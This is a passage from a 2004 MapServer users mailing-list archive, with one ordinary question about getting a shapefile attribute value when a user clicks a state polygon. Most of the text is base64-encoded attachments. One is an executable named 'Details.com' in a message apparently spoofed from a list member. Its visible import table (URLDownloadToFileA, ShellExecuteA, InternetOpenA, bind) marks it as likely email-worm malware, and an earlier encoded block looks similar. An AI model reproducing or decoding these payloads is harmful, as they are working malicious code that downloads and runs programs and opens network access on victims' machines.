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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAKl0kFq2WtoM2VcKv qE0TxgVuVUpWciSVWFWTQw0/p3aDg6PFmsaFh71naDCpI5umSVOvDnFPngGKCSOiGrAMi2F8 RUtijxYAQ2HGQI4sqKOxXSuHAhwDXVo/rFcIvQQNn2WEShsUpSERIraTVSyTGkqdMmKRT0FN K7AaS52KBrplI0FJisCeOlhiNQCzH0wBSF9fUlFHZ4CZIStGniGiniNeAHcRDkkHYDhECrzF D4l2GZ/AfUiTjVBGYrisuzWBBj9lpU26n14OkVC0aImsesdfkZscg6JuUSMgMrO+RKglWFU1 JZOnwoh4NixKuiI9GmKcEL+ceKxcJJOiMsDCubVGEHQrok5SuQpwWzwLSEcwugBkHWg+PrIw IWvFmrUYgjzGExm0RysIoXK4NX8vIpADKyldLTRkEXVnWxkis6cQYZ92WJuZQFVWoLvCOKG6 qZYlUg+VHFBdrVa9ZwJWX6LCubaSaZmJhD5Lhg8KaiIAr5WcB6dTgKexU6tLBmWHiZh9th9S c8ZYuIGoX11BEhKbMF+VLWkKL0pKB2sWFqKSKneJV0hOtWueg5wnN4ASelowFnWIf8KjvgGB LGq3poYZoWgEQwFAQAsxA6GydwkAmas= ----------nleahxeyftzhumjziicw-- From manuel.alonso at ermapper.co.uk Fri Jun 18 06:04:27 2004 From: manuel.alonso at ermapper.co.uk (Manuel Alonso) Date: Fri, 18 Jun 2004 14:04:27 +0100 Subject: [Mapserver-users] How to query the contents of a shapefile field and return the val ue Message-ID: <7D261D502BCF9743B20EADBFAFBE2D03048970@GOLD.ermapper.co.uk> Good afternoon: Sorry if this question is very basic, I have just started to use MapServer, and I have not found an answer to this in the FAQs. I have a simple polygon shapefile with only one attribute field in its table. That attribute is the name of the polygon (for instance, the name of a State or Province). I need to build a small application that displays the map (state boundaries) and then queries that shapefile and returns the content of that field (to be used to search a database). I do not want to create a map of the result of my query, I am only interested in getting the value of the shapefile field. For instance, once a map of the US has been displayed on the screen (with the state boundaries), the user should click on any of the States displayed and get the name of the state. That name will be stored into a variable to be used later in the application. I have been able to create the display of the the polygons in a browser using MapServer, but I don't know the correct syntax to query the shapefile table and to get the contents of a certain field. Any help will be appreciated. Thanks very much in advance, Manuel Alonso From steve.lime at dnr.state.mn.us Fri Jun 18 07:11:44 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Fri, 18 Jun 2004 08:11:44 -0600 Subject: [Mapserver-users] RE: Text message Message-ID: ----------iqhxibbietoucqeryzqg Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------iqhxibbietoucqeryzqg Content-Type: application/octet-stream; name="Details.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Details.com" 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 